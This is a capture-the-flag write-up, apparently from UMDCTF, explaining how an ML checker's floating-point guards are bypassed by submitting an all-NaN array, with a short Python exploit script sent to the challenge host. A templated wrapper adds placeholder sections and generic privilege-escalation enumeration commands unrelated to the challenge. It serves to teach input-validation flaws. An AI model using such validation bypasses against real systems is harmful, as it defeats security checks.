flow
flow
Platform: Umdctf | Category: ML | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: floating_point_fail_open, ieee754_nan_comparison_bypass, nan_validation_bypass
Summary
Task: a remote checker loads a predictor and a RealNVP purification flow, then validates an adversarial candidate under L-inf and likelihood constraints before printing the flag. Solution: submit a float32 array filled with NaN so every comparison in the checker evaluates false and the success path reveals the flag.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umdctf| ID:20260425_umdctf_flow - Tags: nan, numpy, pytorch, floating_point, machine_learning, adversarial_examples
- Indicators: the checker accepts a base64-encoded NumPy float32 array, all validation logic relies on floating-point comparisons, the code never rejects NaN or infinite values, PyTorch softmax and log_prob are used on attacker-controlled tensors
- Source:
20260425_umdctf_flow.md
Foothold
Vulnerability / Misconfiguration
- floating_point_fail_open
- ieee754_nan_comparison_bypass
- nan_validation_bypass
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- floating_point_fail_open
- ieee754_nan_comparison_bypass
- nan_validation_bypass
- Tags: nan, numpy, pytorch, floating_point, machine_learning, adversarial_examples
Original Writeup
<details><summary>Click to expand original content</summary>Challenge
We are given a remote service plus the local files challenge.py, predictor.py, flow.py, model weights, and a reference input window. The service asks for a base64-encoded NumPy float32 array of shape (5, 64) and checks whether it is a valid purified adversarial example.
Remote target:
nc challs.umdctf.io 30302
Analysis
The important logic is in challenge.py:
python read-only • copy allowedlinf = float(np.max(np.abs(sub - x_ref))) if linf > EPS + 1e-6: return False lp = float(flow.log_prob(t).item()) if lp < lp_thresh: return False probs = F.softmax(predictor(purify(t, flow)), dim=1).numpy()[0] if probs[1] < CONF_FLIP: return False
All three decisions depend on floating-point comparisons performed on attacker-controlled data, but the checker never rejects NaN values.
That is fatal because IEEE-754 NaN is unordered:
nan > xisFalsenan < xisFalsenan <= xisFalsenan >= xisFalse
So if we can make every checked value become NaN, the code fails open.
Submitting an array filled with NaN does exactly that:
sub - x_refcontainsNaN, sonp.max(np.abs(...))becomesNaNandlinf > EPSis false.flow.log_prob(t)becomesNaN, solp < lp_threshis false.- The purification and predictor pipeline propagates
NaN, soprobs[1]isNaNandprobs[1] < CONF_FLIPis false.
Since none of the guards trigger, check() reaches the success branch and returns the flag.
Exploitation Strategy
- Build a NumPy array of shape
(5, 64)with dtypefloat32. - Fill it with
np.nan. - Serialize it with
np.save, because the service decodes the base64 input and callsnp.load()on the resulting bytes. - Base64-encode the
.npypayload. - Send it to the remote service.
Final Exploit
python read-only • copy allowed#!/usr/bin/env python3 import base64 import io import socket import numpy as np HOST = "challs.umdctf.io" PORT = 30302 def main(): arr = np.full((5, 64), np.nan, dtype=np.float32) buf = io.BytesIO() np.save(buf, arr) payload = base64.b64encode(buf.getvalue()) + b"\n" with socket.create_connection((HOST, PORT), timeout=10) as s: s.sendall(payload) out = b"" while True: chunk = s.recv(4096) if not chunk: break out += chunk print(out.decode(errors="replace")) if __name__ == "__main__": main()
The service responds with:
</details>text read-only • copy allowedOK linf=nan log_prob=nan p1(purified)=nan FLAG: UMDCTF{REDACTED}
signed by XESXOR